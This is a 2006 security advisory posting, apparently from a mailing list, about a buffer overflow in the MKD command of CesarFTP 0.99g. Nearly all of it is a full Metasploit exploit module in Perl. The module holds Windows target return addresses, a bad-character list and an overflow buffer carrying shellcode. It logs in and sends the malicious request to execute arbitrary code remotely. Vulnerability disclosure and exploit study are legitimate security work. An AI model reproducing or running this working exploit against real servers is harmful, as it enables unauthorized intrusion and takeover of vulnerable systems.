[EXPL] CesarFTP Buffer Overflow (Metasploit)
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- Date: 18 Jun 2006 16:49:39 +0200
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CesarFTP Buffer Overflow (Metasploit)
------------------------------------------------------------------------
SUMMARY
<http://www.aclogic.com/> CesarFTP is an easy-to-use and fast to
configure FTP server.
A buffer overflow in CesarFTP allows a remote attacker to execute
arbitrary code on the vulnerable system.
DETAILS
Vulnerable Systems:
* CesarFTP version 0.99g
Exploit:
##
#---ORIGINAL CREDITS TO h07 FOR FINDING THIS VULN---
# Ported to metasploit by c0rrupt
# ~ f34r.us ~
##
package Msf::Exploit::cesarftp_mkd;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'CesarFTP 0.99g Buffer Overflow',
'Version' => '$Revision: 1.3 $',
'Authors' => [ 'c0rrupt [at] f34r [dot] us', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 0,
'AutoOpts' => { 'EXITFUNC' => 'seh' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
'USER' => [1, 'USER', 'Login name'],
'PASS' => [1, 'PASS', 'Password'],
},
'Payload' =>
{
'Space' => 325,
'BadChars' =>
"\x00\x09\x0a\x0d\x22\x25\x26\x27\x2f\x3a\x3e\x3f\xFF\x5c",
},
'Description' => Pex::Text::Freeform(qq{
This module exploits the buffer overflow found in the MKD command
in CesarFTP 0.99g. It is required that the user be properly logged
in
before the exploit can be peformed.
}),
'Refs' =>
[
['URL', 'http://www.milw0rm.com/exploits/1906']
],
'DefaultTarget' => 0,
'Targets' =>
[
['Windows XP SP2 English', 0x7746F114 ], #
comctl32
['Windows XP SP0/SP1 English', 0x776606af ],
['Windows 2003 server sp0/xp sp1 English',
0x77798428 ],
['Windows 2003 server SP1 English', 0x7caa9618 ],
['Windows 2000 SP4 English', 0x78344dd3 ],
],
'Keys' => ['ceasarftp'],
'DisclosureDate' => 'June 12 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
$advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my $user = $self->GetVar('USER');
my $pass = $self->GetVar('PASS');
my $buf = "MKD " . "\n"x671 . "A"x3 . pack('V', $target->[1]) .
$shellcode . "\x0d\x0a";
#pack('V', $target->[1])
#"\x23\x79\xAB\x71"
$self->PrintLine(sprintf("[*] Trying to exploit target %s ", $target->[0],
));
my $sock = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if ($sock->IsError) {
$self->PrintLine('[*] Error creating socket: ' .
$sock->GetError);
return;
}
my $r = $sock->Recv(-1, 20);
if (! $r) { $self->PrintLine("[*] No response from FTP server");
return; }
$self->PrintLine(sprintf("[*] Sending login credentials"));
$sock->Send("USER $user" . "\x0d\x0a");
sleep(1);
$sock->Send("PASS $pass" . "\x0d\x0a");
sleep(1);
$self->PrintLine(sprintf("[*] Sending evil request"));
$sock->Send($buf);
$self->PrintLine(sprintf("[*] Exploit complete"));
return;
}
ADDITIONAL INFORMATION
The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/1906>
http://www.milw0rm.com/exploits/1906
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